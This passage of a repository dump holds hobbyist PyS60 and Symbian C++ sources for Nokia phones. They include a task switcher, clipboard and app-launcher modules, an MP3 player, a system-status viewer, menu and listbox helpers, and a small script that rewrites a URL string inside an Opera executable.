http_text) 31 | if replace == None or len(replace) > pos_len/2 : 32 | print u'None' 33 | print u'limit 63 character if not opera exe will broken' 34 | else : 35 | f = open(exepath, 'rb+') 36 | calculate = pos_len/2 - len(replace) 37 | if len(replace) < pos_len/2 : 38 | f.seek(pos/2) 39 | f.write(replace.lower() + '00'.decode('hex')*calculate) 40 | f.close() 41 | del f 42 | if len(replace) == pos_len/2 : 43 | f.seek(pos/2) 44 | f.write(replace.lower()) 45 | f.close() 46 | del f 47 | x = open(exepath, 'r').read() 48 | http_text = unicode(x.encode('hex')[pos : pos + pos_len] .replace('00', '').decode('hex')) 49 | print http_text 50 | 51 | 52 | -------------------------------------------------------------------------------- /Listboxtasks_test.py: -------------------------------------------------------------------------------- 1 | import e32,appuifw 2 | from graphics import * 3 | import geticon 4 | import multimbm 5 | import appswitch 6 | import applist 7 | 8 | limit=2 9 | entries=[] 10 | appuifw.app.title=u'Task List' 11 | def listapps(): 12 | global entries,limit 13 | lapp=applist.applist() 14 | ltask=appswitch.application_list(1) 15 | lapp1=[(el[1],el[0]) for el in lapp] 16 | lmbm=[] 17 | ltask1=[] 18 | c=0 19 | # puzzle image for app with no image associated 20 | uidpuz=0xa89fd974 21 | puz2=geticon.get(uidpuz,(50,50)) 22 | ipuz=Image.from_cfbsbitmap(puz2[0]) 23 | mpuz=Image.from_cfbsbitmap(puz2[1]) 24 | 25 | for el in ltask: 26 | luid=[u[1] for u in lapp1 if u[0]==el] 27 | if luid==[]: #app with no uid found 28 | i2=geticon.get(uidpuz,(50,50)) 29 | ltask1.append((el,0)) 30 | else: 31 | i2=geticon.get(luid[0],(50,50)) 32 | ltask1.append((el,luid[0])) 33 | try: #app with no image -> puzzle default 34 | i=Image.from_cfbsbitmap(i2[0]) 35 | imask=Image.from_cfbsbitmap(i2[1]) 36 | except: 37 | i=ipuz 38 | imask=mpuz 39 | 40 | lmbm.append(i) 41 | lmbm.append(imask) 42 | c=c+1 43 | multimbm.create(u'd:\\itasks.mbm',lmbm) 44 | 45 | entries=[] 46 | s=0 47 | for task in ltask1: 48 | entries.append((task[0],unicode(hex(task[1])),appuifw.Icon(u'd:\\itasks.mbm',s,s+1))) 49 | s=s+2 50 | 51 | app_lock = e32.Ao_lock() 52 | 53 | def exit(): 54 | app_lock.signal() 55 | 56 | def handle_sel(): 57 | global entries 58 | global lb 59 | 60 | sel=appuifw.popup_menu([u'Switch',u'Kill']) 61 | if sel==0:#switch 62 | appswitch.switch_to_fg(entries[lb.current()][0]) 63 | elif sel==1:#kill 64 | appswitch.kill_app(entries[lb.current()][0]) 65 | display() 66 | else: 67 | pass #cancel 68 | 69 | def display(): 70 | global entries 71 | global lb 72 | listapps() 73 | lb=appuifw.Listbox(entries,handle_sel) 74 | appuifw.app.body=lb 75 | 76 | 77 | appuifw.app.menu=[(u'List Tasks',display)] 78 | 79 | appuifw.app.exit_key_handler = exit 80 | 81 | app_lock.wait() 82 | -------------------------------------------------------------------------------- /ClipB.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #include 6 | #include 7 | 8 | //-------------------------------------------------------------------------- 9 | 10 | //static PyObject* Get(PyObject* /*self*/,PyObject* /*args*/) 11 | /*{ 12 | CPlainText* BPlainText = CPlainText::NewL(); 13 | CleanupStack::PushL(BPlainText); 14 | CClipboard* cb = 15 | CClipboard::NewForReadingL(CCoeEnv::Static()->FsSession()); 16 | CleanupStack::PushL(cb); 17 | cb->StreamDictionary().At(KClipboardUidTypePlainText); 18 | BPlainText->PasteFromStoreL(cb->Store(), cb->StreamDictionary(), 0); 19 | TInt len = BPlainText->DocumentLength(); 20 | 21 | HBufC* buffer=HBufC::NewLC(len) ; 22 | TPtr ptr(buffer->Des()); 23 | BPlainText->Extract(ptr,0,len); 24 | 25 | //CleanupStack::PopAndDestroy(3); - ? 26 | 27 | return Py_BuildValue("u#",ptr,len); 28 | 29 | } */ 30 | //-------------------------------------------------------------------------- 31 | 32 | static PyObject* Set(PyObject* /*self*/,PyObject* args) 33 | { 34 | PyObject* obj_text; 35 | if (!PyArg_ParseTuple(args, "U", &obj_text)) 36 | return NULL; 37 | 38 | TPtrC text((TUint16*) PyUnicode_AsUnicode(obj_text), 39 | PyUnicode_GetSize(obj_text)); 40 | 41 | CClipboard* cb=CClipboard::NewForWritingLC(CCoeEnv::Static()->FsSession()); 42 | cb->StreamDictionary().At(KClipboardUidTypePlainText); 43 | CPlainText* BPlainText = CPlainText::NewL(); 44 | CleanupStack::PushL(BPlainText); 45 | BPlainText->InsertL(0,text); 46 | BPlainText->CopyToStoreL(cb->Store(), cb->StreamDictionary(), 0,BPlainText->DocumentLength()); 47 | cb->CommitL(); 48 | CleanupStack::PopAndDestroy(2); 49 | 50 | 51 | Py_INCREF(Py_None); 52 | return Py_None; 53 | } 54 | //-------------------------------------------------------------------------- 55 | 56 | static const PyMethodDef met_clipb[] = { 57 | // {"get", (PyCFunction)Get, METH_NOARGS}, 58 | {"set", (PyCFunction)Set, METH_VARARGS}, 59 | {0, 0} 60 | }; 61 | 62 | //-------------------------------------------------------------------------- 63 | 64 | DL_EXPORT(void) MODULE_INIT_FUNC() 65 | { 66 | Py_InitModule("clipb",(PyMethodDef*) met_clipb); 67 | } 68 | //-------------------------------------------------------------------------- 69 | -------------------------------------------------------------------------------- /laa.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include // for RApaLsSession 5 | #include // for CApaCommandLine 6 | 7 | static PyObject* Execute(PyObject* , PyObject *args) 8 | { 9 | TUint address; 10 | PyArg_ParseTuple(args,"I",&address); 11 | TUid uid= TUid::Uid(address); 12 | RApaLsSession apaLsSession; 13 | apaLsSession.Connect(); 14 | TUid aAppUid=uid; 15 | TApaAppInfo appInfo; 16 | TInt retVal = apaLsSession.GetAppInfo(appInfo, aAppUid); 17 | 18 | if(retVal == KErrNone) 19 | { 20 | CApaCommandLine* cmdLine = CApaCommandLine::NewL(); 21 | cmdLine->SetExecutableNameL(appInfo.iFullName); 22 | cmdLine->SetCommandL(EApaCommandRun); 23 | apaLsSession.StartApp(*cmdLine); 24 | delete cmdLine; 25 | return Py_BuildValue("i",retVal); 26 | } 27 | else 28 | { 29 | return Py_BuildValue("i",retVal); 30 | } 31 | } 32 | 33 | static PyObject* Execute2(PyObject* , PyObject *args) 34 | { 35 | TUint address; 36 | char* _str; 37 | PyArg_ParseTuple(args,"Iu",&address,&_str); 38 | TBuf16<512> string; 39 | string.Copy((TUint16*)_str); 40 | TUid uid= TUid::Uid(address); 41 | RApaLsSession apaLsSession; 42 | apaLsSession.Connect(); 43 | TUid aAppUid=uid; 44 | TApaAppInfo appInfo; 45 | TInt retVal = apaLsSession.GetAppInfo(appInfo, aAppUid); 46 | 47 | if(retVal == KErrNone) 48 | { 49 | CApaCommandLine* cmdLine = CApaCommandLine::NewL(); 50 | cmdLine->SetExecutableNameL(appInfo.iFullName); 51 | cmdLine->SetCommandL(EApaCommandRun); 52 | cmdLine->SetDocumentNameL(string); 53 | apaLsSession.StartApp(*cmdLine); 54 | delete cmdLine; 55 | return Py_BuildValue("i",retVal); 56 | } 57 | else 58 | { 59 | return Py_BuildValue("i",retVal); 60 | } 61 | } 62 | 63 | 64 | static const PyMethodDef light_methods[] = 65 | { 66 | {"execute", (PyCFunction)Execute, METH_VARARGS}, 67 | {"execute_param", (PyCFunction)Execute2, METH_VARARGS}, 68 | {0, 0} 69 | }; 70 | 71 | 72 | DL_EXPORT(void) init_light() 73 | { 74 | PyObject *module; 75 | module = Py_InitModule("laa2",(PyMethodDef*) light_methods); 76 | } 77 | 78 | #ifndef EKA2 79 | // 80 | // For Symbian or rather S60 3rd edition sdk 81 | GLDEF_C TInt E32Dll(TDllReason) 82 | { 83 | return KErrNone; 84 | } 85 | #endif 86 | -------------------------------------------------------------------------------- /py2sis.py: -------------------------------------------------------------------------------- 1 | from lite_fm import * 2 | import os 3 | import e32 4 | import appuifw 5 | import uikludges 6 | def copy(x, y): 7 | e32.file_copy(x, y) 8 | print ('copy ' + y + '\r\nin ' + x + '\r\n'), 9 | print 10 | e32.ao_yield() 11 | 12 | 13 | def en(x): 14 | return x.decode('utf-8') 15 | 16 | 17 | def Exit(): 18 | x = appuifw.query(en('Are you sure?'), 'query') 19 | if x == 1 : 20 | os.abort() 21 | 22 | 23 | uikludges.set_right_softkey_text(en('Exit')) 24 | appuifw.app.screen = 'normal' 25 | appuifw.app.title = u'py2sis' 26 | priv = en('While processing please be patient\nIt may take 2-3 minutes..\n\n\n\n\nby Gabriel\n\n@\n\nwww.roznida.com') 27 | appuifw.app.body = appuifw.Text() 28 | appuifw.app.body.color = (0, 0, 0) 29 | appuifw.app.body.set(priv) 30 | appuifw.app.body.focus = False 31 | def exit_key_handler(): 32 | create 33 | 34 | 35 | def create(): 36 | apps = manager('e:/system/apps', 'dir') 37 | if apps == None : 38 | return 'Program not selected' 39 | appuifw.note(en('Please Wait...')) 40 | if len(os.path.split(apps)[1]) > 10 : 41 | return 'name programs is long' 42 | apps += '\\' 43 | if not os.path.exists((apps + 'default.py')) : 44 | return 'default.py not exists' 45 | os.makedirs((apps + 'libs\\encodings')) 46 | for drive in ['c:\\system\\', 'e:\\system\\']: 47 | for dll in [('python222.dll', 'libs\\python222.dll'), ('python_appui.dll', 'libs\\python_appui.dll'), ('ui.rsc', 'data\\appuifwmodule.rsc')]: 48 | if os.path.exists((drive + dll[1])) : 49 | copy((apps + dll[0]), (drive + dll[1])) 50 | for path in ['libs\\', 'libs\\encodings\\']: 51 | try : 52 | sp = os.listdir((drive + path)) 53 | except : 54 | continue 55 | for name in sp: 56 | name = name.lower() 57 | if os.path.splitext(name)[1] in ['.py', '.pyc', '.pyd'] : 58 | copy((apps + path + name), (drive + path + name)) 59 | f = open((apps + 'python_appui.dll'), 'r+') 60 | txt = f.read() 61 | i = txt.find('\x00'.join(list('data\\appuifwmodule.rsc'))) 62 | f.seek(i) 63 | nt = '\x00'.join(list(('apps\\' + os.path.split(apps[ : -1])[1] + '\\ui.rsc'))) 64 | nt += (((43 - len(nt)) / 2) * '\x00 ') 65 | (f.write(nt), f.close()) 66 | f = open((apps + 'default.py'), 'r+') 67 | txt = f.read() 68 | f.seek(0) 69 | apps = (apps[1 : -1]).replace('\\', '\\\\') 70 | f.write(('import sys\r\nsys.path=["c' + apps + '","e' + apps + '","c' + apps + '\\\\libs","e' + apps + '\\\\libs"]\r\n' + txt)) 71 | appuifw.note(en('Finished')) 72 | f.close() 73 | return 'ok' 74 | 75 | 76 | print create(), 77 | print 78 | appuifw.app.menu = [(en('py2sis'), create)] 79 | appuifw.app.exit_key_handler = Exit 80 | -------------------------------------------------------------------------------- /Pyrecog.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | * ==================================================================== 3 | * Pyrecog.cpp 4 | * 5 | * Recognizer plug-in 6 | * 7 | * Copyright (c) 2005-2006 Nokia Corporation 8 | * 9 | * Licensed under the Apache License, Version 2.0 (the "License"); 10 | * you may not use this file except in compliance with the License. 11 | * You may obtain a copy of the License at 12 | * 13 | * http://www.apache.org/licenses/LICENSE-2.0 14 | * 15 | * Unless required by applicable law or agreed to in writing, software 16 | * distributed under the License is distributed on an "AS IS" BASIS, 17 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 18 | * See the License for the specific language governing permissions and 19 | * limitations under the License. 20 | * ==================================================================== 21 | */ 22 | 23 | #include 24 | #include 25 | #include 26 | 27 | #ifdef EKA2 28 | #include 29 | const TInt KImplementationUid = 0x101F7DA1; 30 | #endif 31 | 32 | #ifdef EKA2 33 | const TUid KUidPyrecog = {0xF0201513}; 34 | #else 35 | const TUid KUidPyrecog = {0x10201513}; 36 | #endif 37 | 38 | class CApaPyRecognizer : public CApaDataRecognizerType 39 | { 40 | public: 41 | CApaPyRecognizer():CApaDataRecognizerType(KUidPyrecog, CApaDataRecognizerType::EHigh) { 42 | iCountDataTypes = 1; 43 | } 44 | virtual ~CApaPyRecognizer(){}; 45 | virtual TUint PreferredBufSize() {return 128;} 46 | virtual TDataType SupportedDataTypeL(TInt /*aIndex*/) const { 47 | return TDataType(_L8("x-application/x-python")); 48 | } 49 | #ifdef EKA2 50 | static CApaDataRecognizerType* CreateRecognizerL(); 51 | #endif 52 | private: 53 | virtual void DoRecognizeL(const TDesC& aName, const TDesC8& aBuffer); 54 | }; 55 | 56 | void CApaPyRecognizer::DoRecognizeL(const TDesC& aName, const TDesC8& aBuffer) 57 | { 58 | 59 | TParse parse; 60 | parse.Set(aName, NULL, NULL); 61 | TPtrC ext = parse.Ext(); 62 | if (ext.CompareF(_L(".py")) == 0) 63 | { 64 | iConfidence = ECertain; 65 | iDataType = TDataType(_L8("x-application/x-python")); 66 | } 67 | } 68 | 69 | #ifdef EKA2 70 | CApaDataRecognizerType* CApaPyRecognizer::CreateRecognizerL() 71 | { 72 | return new (ELeave) CApaPyRecognizer(); 73 | } 74 | 75 | const TImplementationProxy ImplementationTable[] = 76 | { 77 | IMPLEMENTATION_PROXY_ENTRY(KImplementationUid, CApaPyRecognizer::CreateRecognizerL) 78 | }; 79 | 80 | EXPORT_C const TImplementationProxy* ImplementationGroupProxy(TInt& aTableCount) 81 | { 82 | aTableCount = sizeof(ImplementationTable) / sizeof(TImplementationProxy); 83 | return ImplementationTable; 84 | } 85 | #else 86 | EXPORT_C CApaDataRecognizerType* CreateRecognizer() 87 | { 88 | return new CApaPyRecognizer; 89 | } 90 | 91 | GLDEF_C TInt E32Dll(TDllReason /*aReason*/) 92 | { 93 | return KErrNone; 94 | } 95 | #endif 96 | -------------------------------------------------------------------------------- /Mp3player1.py: -------------------------------------------------------------------------------- 1 | import appuifw,e32,powlite_fm,key_codes 2 | from audio import* 3 | from sysinfo import display_pixels 4 | from graphics import* 5 | appuifw.app.screen='full' 6 | pow=powlite_fm.manager() 7 | 8 | t=0 9 | run=1 10 | def exit(): 11 | global run,s 12 | run=0 13 | s.stop() 14 | 15 | appuifw.app.exit_key_handler=exit 16 | 17 | def start(): 18 | try: 19 | if os.path.isfile('e:\\mp3.dat'): 20 | pass 21 | else: 22 | dir=pow.AskUser(find='dir') 23 | file=open('e:\\mp3.dat','w') 24 | file.write(dir) 25 | file.close() 26 | except:pass 27 | start() 28 | r=open('e:\\mp3.dat','r') 29 | idx=r.readlines() 30 | r.close() 31 | dir=idx[0] 32 | files=map(unicode, os.listdir(dir)) 33 | s=Sound.open(dir+'\\'+files) 34 | 35 | s.set_volume(1) 36 | 37 | im=Image.new(display_pixels()) 38 | path='e:\\' 39 | 40 | def redraw(rect): 41 | c.blit(im) 42 | 43 | c=appuifw.Canvas(redraw_callback=redraw) 44 | appuifw.app.body=c 45 | 46 | gbr=['play.jpg','v_up.jpg','v_dw.jpg','pau.jpg','ply.jpg'] 47 | 48 | im1= Image.open(path+gbr[0]) 49 | im.blit(im1) 50 | redraw(()) 51 | im2=Image.open(path+gbr[1]) 52 | im3=Image.open(path+gbr[2]) 53 | im4=Image.open(path+gbr[3]) 54 | im5=Image.open(path+gbr[4]) 55 | # define images 56 | def io(m): 57 | x=Image.open(path + m) 58 | return x 59 | 60 | im6=io('nex.jpg') 61 | im7=io('prv.jpg') 62 | im8=io('spk.jpg') 63 | im9=io('mute.jpg') 64 | 65 | pos=0 66 | 67 | def play_callback(previous, current, err): 68 | global pos 69 | if previous==2: 70 | pos=0 71 | 72 | def process(val): 73 | global pos 74 | if val=='up': 75 | s.set_volume(s.current_volume()+1) 76 | im.blit(im2,target=(146,148)) 77 | elif val=='down': 78 | s.set_volume(s.current_volume()-1) 79 | im.blit(im3,target=(146,205)) 80 | elif val=='left': 81 | im.blit(im7,target=(102,175)) 82 | elif val=='right': 83 | im.blit(im6,target=(176,175)) 84 | else: #ok 85 | if s.state()==1: 86 | #s.set_position(pos) 87 | s.play(callback=play_callback) 88 | im1.blit(im4,target=(148,176)) 89 | elif s.state()==2: 90 | pos=s.current_position() 91 | s.stop() 92 | s.set_position(pos) 93 | im1.blit(im5,target=(148,176)) 94 | 95 | redraw(()) 96 | 97 | txt_m = u'help me to put music title here' 98 | end_pos=172 99 | 100 | c.bind(63497,lambda:process('up')) 101 | c.bind(63498,lambda:process('down')) 102 | c.bind(63495,lambda:process('left')) 103 | c.bind(63496,lambda:process('right')) 104 | c.bind(63557,lambda:process('ok')) 105 | 106 | while run: 107 | t-=1 108 | if t<-200:t=300 109 | im.blit(im1) 110 | im.text((t,10),txt_m,0xffffff,font=(u'default',12,appuifw.STYLE_BOLD)) 111 | # Loading progress 112 | sec=int(s.current_position())/1000000 113 | m=sec/60 114 | sec-=(m*60) 115 | dur=int(s.duration())/1000000 116 | dur_m=dur/60 117 | dur-=(dur_m*60) 118 | vol=s.current_volume() 119 | bbb=float(s.current_position())/s.duration()*end_pos 120 | im.rectangle((199,109,287,114),0xff0000,fill=0xffffff,width=1) 121 | im.rectangle((200+bbb/2,110,286,113),0x000099,fill=0x000099,width=1) 122 | # Time bar 123 | im.text((275,108),u''+str(m)+':'+str(sec),0xff9900,font=(u'default',14,appuifw.STYLE_BOLD)) 124 | im.text((190,108),u''+str(dur_m)+':'+str(dur),0xff9900,font=(u'default',14,appuifw.STYLE_BOLD)) 125 | # volume 126 | im.rectangle((277,189-vol*6,290,189),0xffffff,fill=0xffffff) 127 | im.rectangle((275,129,290,189),0xff9900,width=2) 128 | im.text((260,128),str(vol*10)+u'%',0xff0000,font=(u'default',14,appuifw.STYLE_BOLD)) 129 | 130 | if vol==0: 131 | im.blit(im9,target=(275,195)) 132 | else:im.blit(im8,target=(275,195)) 133 | redraw(()) 134 | e32.ao_sleep(0.1) 135 | -------------------------------------------------------------------------------- /sysagent.py: -------------------------------------------------------------------------------- 1 | from appuifw import * 2 | from e32 import ao_sleep,Ao_lock 3 | from sysagent2 import * 4 | #from esysagent import * 5 | 6 | 7 | def viewsysagent(): 8 | app.body.clear() 9 | status=get_sim_status() 10 | text="SIM Status = %d"%status 11 | app.body.add(u'%s\n'%text) 12 | 13 | status=get_network_status() 14 | text="Network Status = %d"%status 15 | app.body.add(u'%s\n'%text) 16 | 17 | status=get_network_strength() 18 | text="Network Strength = %d"%status 19 | app.body.add(u'%s\n'%text) 20 | 21 | status=get_inbox_status() 22 | text="Inbox Status = %d"%status 23 | app.body.add(u'%s\n'%text) 24 | 25 | status=get_outbox_status() 26 | text="Outbox Status = %d"%status 27 | app.body.add(u'%s\n'%text) 28 | 29 | status=get_irda_status() 30 | text="irda Status = %d"%status 31 | app.body.add(u'%s\n'%text) 32 | 33 | status=get_network_bars() 34 | text="network bars = %d"%status 35 | app.body.add(u'%s\n'%text) 36 | 37 | status=get_gprs_availability() 38 | text="gprs availability = %d"%status 39 | app.body.add(u'%s\n'%text) 40 | 41 | status=get_gprs_status() 42 | text="gprs Status = %d"%status 43 | app.body.add(u'%s\n'%text) 44 | 45 | status=get_silent_mode() 46 | text="silent mode = %d"%status 47 | app.body.add(u'%s\n'%text) 48 | 49 | status=get_call_forwarding_status() 50 | text="Call forwarding Status = %d"%status 51 | app.body.add(u'%s\n'%text) 52 | 53 | status=get_voice_mail_status() 54 | text="Voice mail Status = %d"%status 55 | app.body.add(u'%s\n'%text) 56 | 57 | status=get_sim_sms_memory_status() 58 | text="irda Status = %d"%status 59 | app.body.add(u'%s\n'%text) 60 | 61 | status=get_sim_ready_status() 62 | text="SIM ready Status = %d"%status 63 | app.body.add(u'%s\n'%text) 64 | 65 | status=get_sim_card_status() 66 | text="SIM card Status = %d"%status 67 | app.body.add(u'%s\n'%text) 68 | 69 | status=get_sim_changed_status() 70 | text="SIM changed Status = %d"%status 71 | app.body.add(u'%s\n'%text) 72 | 73 | status=get_home_zone_status() 74 | text="home zone Status = %d"%status 75 | app.body.add(u'%s\n'%text) 76 | 77 | status=get_fax_message_status() 78 | text="fax message Status = %d"%status 79 | app.body.add(u'%s\n'%text) 80 | 81 | status=get_fax_message_status() 82 | text="fax message Status = %d"%status 83 | app.body.add(u'%s\n'%text) 84 | 85 | status=get_email_message_status() 86 | text="email message Status = %d"%status 87 | app.body.add(u'%s\n'%text) 88 | 89 | status=get_other_message_status() 90 | text="other_message Status = %d"%status 91 | app.body.add(u'%s\n'%text) 92 | 93 | status=gget_security_code_status() 94 | text="security_code Status = %d"%status 95 | app.body.add(u'%s\n'%text) 96 | 97 | status=get_autolock_status() 98 | text="autolock Status = %d"%status 99 | app.body.add(u'%s\n'%text) 100 | 101 | status=get_simlock_status() 102 | text="simlock Status = %d"%status 103 | app.body.add(u'%s\n'%text) 104 | 105 | status=get_first_boot_status() 106 | text="first boot Status = %d"%status 107 | app.body.add(u'%s\n'%text) 108 | 109 | status=get_sim_owned_status() 110 | text="sim owned Status = %d"%status 111 | app.body.add(u'%s\n'%text) 112 | 113 | status=get_new_email_status() 114 | text="new email Status = %d"%status 115 | app.body.add(u'%s\n'%text) 116 | 117 | status=get_wcdma_status() 118 | text="wcdma Status = %d"%status 119 | app.body.add(u'%s\n'%text) 120 | 121 | status=get_sim_present() 122 | text="sim present = %d"%status 123 | app.body.add(u'%s\n'%text) 124 | 125 | 126 | lock=Ao_lock() 127 | app.body=Text() 128 | app.body.clear() 129 | app.exit_key_handler=lock.signal 130 | app.menu = [(u"View sysagent info",viewsysagent)] 131 | lock.wait() 132 | -------------------------------------------------------------------------------- /search_lb.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # by dimy44 3 | import appuifw2 4 | import e32 5 | import txtfield 6 | 7 | 8 | class ListBox(object): 9 | # by dimy44 10 | def __init__(self, select_callback=None, double=0, icons=0): 11 | self.select_callback = select_callback 12 | self.double = double 13 | self.icons = icons 14 | self.lb = appuifw2.Listbox2(select_callback=self.callback, double=double, icons=icons) 15 | (a, b), (x, y) = appuifw2.app.layout(appuifw2.EControlPane) 16 | self.window_search = txtfield.New((int(a / 2.5), 0, a - int(a / 2.5), b), txtlimit=5) 17 | self.window_search.visible(0) 18 | self.window_search.setpos(int(a / 2.5), y) 19 | self.window_search.bgcolor(0xffffff) 20 | self.list_lb = [] 21 | 22 | def callback(self): 23 | if callable(self.select_callback): 24 | self.select_callback() 25 | self.window_search.clear() 26 | 27 | def current(self): 28 | if not self.lb: return 29 | return self.lb.current_item().index 30 | 31 | def execute(self, lb=None): 32 | if lb is not None: 33 | self.list_lb[:] = [] 34 | n = 0 35 | for i in lb: 36 | if not self.double and not self.icons: 37 | self.list_lb.append(appuifw2.Item(title=i.title, index=n)) 38 | elif not self.double and self.icons: 39 | self.list_lb.append(appuifw2.Item(title=i.title, icon=i.icon, index=n)) 40 | elif self.double and not self.icons: 41 | self.list_lb.append(appuifw2.Item(title=i.title, subtitle=i.subtitle, index=n)) 42 | elif self.double and self.icons: 43 | self.list_lb.append(appuifw2.Item(title=i.title, subtitle=i.subtitle, icon=i.icon, index=n)) 44 | n += 1 45 | self.edit_lb() 46 | appuifw2.app.body = self.lb 47 | self.window_search_show() 48 | 49 | 50 | def window_search_show(self): 51 | self.text = u'' 52 | self.edit() 53 | self.window_search.focus(1) 54 | 55 | 56 | def window_search_hide(self): 57 | self.window_search.focus(0) 58 | self.window_search.visible(0) 59 | 60 | 61 | def edit(self): 62 | if appuifw2.app.body != self.lb: 63 | self.window_search_hide() 64 | return 65 | g = self.window_search.get() 66 | if self.text != g: 67 | self.window_search.visible(bool(g)) 68 | self.edit_lb(g) 69 | self.text = g 70 | e32.ao_sleep(0.1, self.edit) 71 | 72 | def edit_lb(self, text=u''): 73 | self.lb.begin_update() 74 | self.lb.clear() 75 | if not text: 76 | self.lb.extend(self.list_lb) 77 | else: 78 | text = text.lower() 79 | for i in self.list_lb: 80 | if i.title.lower().startswith(text) or \ 81 | self.double and \ 82 | i.subtitle.lower().startswith(text): 83 | self.lb.append(i) 84 | if self.lb: 85 | self.lb.set_current(0) 86 | self.lb.end_update() 87 | 88 | if __name__ == '__main__': 89 | 90 | '''Список аналогичный для Listbox2''' 91 | L = [] 92 | for i in zip(range(6), ('a', 'b', 'c', 'A', 'B', 'C')): 93 | L.append(appuifw2.Item(unicode(i[1]), subtitle=unicode(i[0]))) 94 | 95 | t = appuifw2.Text() 96 | 97 | def callback(): #select_callback 98 | index = lb.current() #индекс 99 | appuifw2.app.body = t 100 | t.add(L[index].title) 101 | t.add(unicode(index)) 102 | appuifw2.app.exit_key_handler = menu 103 | 104 | def menu(): 105 | lb.execute() 106 | appuifw2.app.exit_key_handler = lock.signal 107 | 108 | lb = ListBox(select_callback=callback, double=1) #экземпляр 109 | lb.execute(L) #активация 110 | lock = e32.Ao_lock() 111 | appuifw2.app.exit_key_handler = lock.signal 112 | lock.wait() -------------------------------------------------------------------------------- /Wm_menu_test.py: -------------------------------------------------------------------------------- 1 | import appuifw2 as aw 2 | import sys 3 | aw.e32.ao_yield() 4 | sys.path.append('e:\\') 5 | sys.path.append('c:\\') 6 | import windows_menu 7 | 8 | def ru(text): 9 | return text.decode('utf-8') 10 | #------------------------- 11 | # функция для примера работы меню: 12 | 13 | aw.app.body = body = aw.Text() 14 | body.font = 'normal' 15 | body.focus = False 16 | 17 | def func(t='функция вызвана без аргументов'): 18 | body.set(ru(t)) 19 | aw.app.exit_key_handler = exit 20 | #------------------------- 21 | # самое главное: 22 | 23 | def menu(): 24 | # вкладка внутри вкладки: 25 | sub_sub_items = ((u'sub_sub_item', func), (u'sub_sub_item', func), (u'sub_sub_item', func), (u'sub_sub_item', func, 'функции передан аргумент')) # кортеж из кортежей вида: (название пункта, функция [,перечисление аргументов]) 26 | 27 | # вкладка: 28 | sub_items = ((u'subitem', '2', sub_sub_items), (u'subitem', func), (u'subitem', func), (u'subitem', func, 'функции передан аргумент')) 29 | # кортеж из кортежей вида: (название пункта, функция [,перечисление аргументов]) 30 | # но если Вы делаете вкладку, то кортеж: (название пункта, '2', массив под_вкладки (см. выше)) 31 | # где '2' - это флаг, указывающий, что здесь будет под_вкладка 32 | 33 | # главное окно: 34 | main_items = ((u'main_item', func), (u'main_item', '1', sub_items), (u'main_item', func), (u'main_item', func), (u'main_item', func), (u'main_item', func, 'функции передан аргумент')) 35 | # кортеж из кортежей вида: (название пункта, функция [,перечисление аргументов]) 36 | # но если Вы делаете вкладку, то кортеж: (название пункта, '1', массив вкладки (см. выше)) 37 | # где '1' - это флаг, указывающий, что здесь будет вкладка 38 | #------------------------- 39 | 40 | global wm 41 | wm = windows_menu.Windows_menu(main_items, ru('Опции:')) # второй необязательный аргумент - заголовок главного окна, по-умолчанию 'Menu:' 42 | #------------------------- 43 | # необязательные аттрибуты: 44 | wm.shadow = 3 # тень 45 | 46 | # wm.x_pos = 5 # коорд. X верхн. левого угла главного окна 47 | # wm.y_pos = 5 # коорд. Y верхн. левого угла главного окна 48 | # wm.x_pos_add1 = 15 # коорд. X верхн. левого угла вкладки 49 | # wm.y_pos_add1 = 15 # коорд. Y верхн. левого угла вкладки 50 | # wm.x_pos_add2 = 25 # коорд. X верхн. левого угла под_вкладки 51 | # wm.y_pos_add2 = 25 # коорд. Y верхн. левого угла под_вкладки 52 | 53 | # wm.width = 120 # ширина главного окна 54 | # wm.width_add1 = 100 # ширина окна вкладки 55 | # wm.width_add2 = 100 # ширина окна под_вкладки 56 | 57 | wm.color_background = 0xeeeeee # цвет фона осн. окна 58 | wm.color_background_add1 = 0xeeeeee # цвет фона окна первой вкладки 59 | wm.color_background_add2 = 0xeeeeee # цвет фона окна второй вкладки 60 | 61 | wm.color_background_upper = 0x555555 # цвет фона заголовка 62 | 63 | wm.color_cursor = 0x880000 # цвет курсора осн. окна 64 | wm.color_cursor_add1 = 0x0000ff # цвет курсора окна первой вкладки 65 | wm.color_cursor_add2 = 0xff00ff # цвет курсора окна второй вкладки 66 | wm.color_text = 0 # цвет текста осн. окна вне курсора 67 | wm.color_text_cursor = 0xffffff # цвет текста осн. окна в курсоре 68 | wm.color_text_add1 = 0 # цвет текста окна первой вкладки вне курсора 69 | wm.color_text_cursor_add1 = 0xffffff # цвет текста окна первой вкладки в курсоре 70 | wm.color_text_add2 = 0 # цвет текста окна второй вкладки вне курсора 71 | wm.color_text_cursor_add2 = 0xffffff # цвет текста окна второй вкладки в курсоре 72 | 73 | wm.color_text_upper = 0xffffff # цвет текста заголовка 74 | #------------------------- 75 | # инициализация всех параметров: 76 | wm.initialization() 77 | 78 | menu() 79 | 80 | # вешаем на клавишу вызов нашего меню; 81 | # необязательный аргумент - надпись над правой софтклавишей 82 | # по умолчанию 'Cancel': 83 | aw.app.menu_key_handler = lambda: wm.start_menu(ru('Отмена')) 84 | 85 | aw.app.menu=[] 86 | lock = aw.e32.Ao_lock() 87 | def exit(): 88 | wm.stop_menu() # функция деактивации меню 89 | lock.signal() 90 | aw.app.exit_key_handler = exit 91 | 92 | lock.wait() -------------------------------------------------------------------------------- /sounds.py: -------------------------------------------------------------------------------- 1 | import audio,appuifw2,os 2 | class classsounds: 3 | def __init__(self,name="C:\\data_audio.txt"): 4 | self.name=name 5 | if os.path.isfile(name): 6 | self.allmark=eval(open(name,"r").read()) 7 | else: 8 | self.allmark=[0,0L,None,None] 9 | #allmark=[UiPosition,CurrentSoundPosition,SoundPath,SoundName] 10 | dir="E:\\Sounds\\" 11 | alist=os.listdir(dir) 12 | sounditem=[appuifw2.Item(title=u"%02d. %s"%(it,alist[it]),soundpath="%s%s"%(dir,alist[it])) for it in xrange(len(alist)) if os.path.isfile(dir+alist[it]) and alist[it].lower().endswith("mp3")] 13 | del dir,alist 14 | self.amount=len(sounditem) 15 | appuifw2.app.title=u"ListBox2" 16 | appuifw2.app.navi_text=u"None" 17 | appuifw2.app.body=self.AuMain=appuifw2.Listbox2(sounditem,select_callback=self.select_playing) 18 | del sounditem 19 